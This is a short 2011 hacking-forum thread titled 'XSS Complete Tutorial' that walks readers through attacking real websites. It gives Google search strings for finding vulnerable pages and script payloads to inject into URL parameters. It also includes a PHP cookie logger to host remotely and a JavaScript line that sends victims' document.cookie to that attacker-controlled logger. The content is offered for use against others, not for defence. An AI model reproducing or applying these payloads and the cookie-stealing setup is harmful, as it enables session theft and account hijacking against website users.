XSS Complete Tutorial - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking) +--- Thread: XSS Complete Tutorial (/Thread-XSS-Complete-Tutorial)

XSS Complete Tutorial - HeR97 - 06-21-2011 To find vuln sites search google for: inurl:default.aspx?tag= or inurlearch.php?q= WHen you found website delete everything after = and type <script>alert("your text")</script> If it is vulnerable a windows will open and write you text If you want to add something to there delete everything after = and type <IMG SRC="here is the website of your picture"> If you want to add flash video there type this after = EMBED SRC="site with video.swf" If you want to steal cookies do this: Open notepad and type this: <?php // line 1 $cookie = $HTTP_GET_VARS["cookie"]; // line 2 $file = fopen('cookielog.txt', 'a'); // line 3 fwrite($file, $cookie . "\n\n"); // line 4 ?> save it as .php Upload it to free hosting and chmod it to 777 to nobody except you see that add this to the link window.location = "link of your cookie stealer?c="+document.cookie And thats all Enjoy RE: XSS Complete Tutorial - ericthow - 06-21-2011 is invuln site hackable?